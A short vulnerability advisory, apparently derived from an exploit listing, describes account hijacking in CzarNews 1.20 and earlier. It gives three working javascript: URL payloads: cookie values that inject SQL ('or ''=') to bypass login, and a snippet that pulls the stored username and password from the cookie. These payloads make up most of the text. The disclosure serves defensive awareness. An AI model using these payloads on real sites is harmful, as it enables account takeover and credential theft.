czarNews Account Hijacking <= 1.20 user and password Leak

An attacker can exploit a vulnerability in CzarNews 1.20 to gain access to a user's account. The attacker can use the URL: javascript:document.cookie="recook=' or ''=',' or ''='";void(0); to log in to the account. The attacker can also use the URL: javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);alert("Login: " + p[0] + "nPass: " + p[1]);void(0); to get the user's login and password. If the attacker knows the username of the user, they can use the URL: javascript:document.cookie="recook=[USER],'+or+''='";void(0); to log in to the account.

Mitigation:

Users should ensure that they are using the latest version of CzarNews and that they have a strong password.
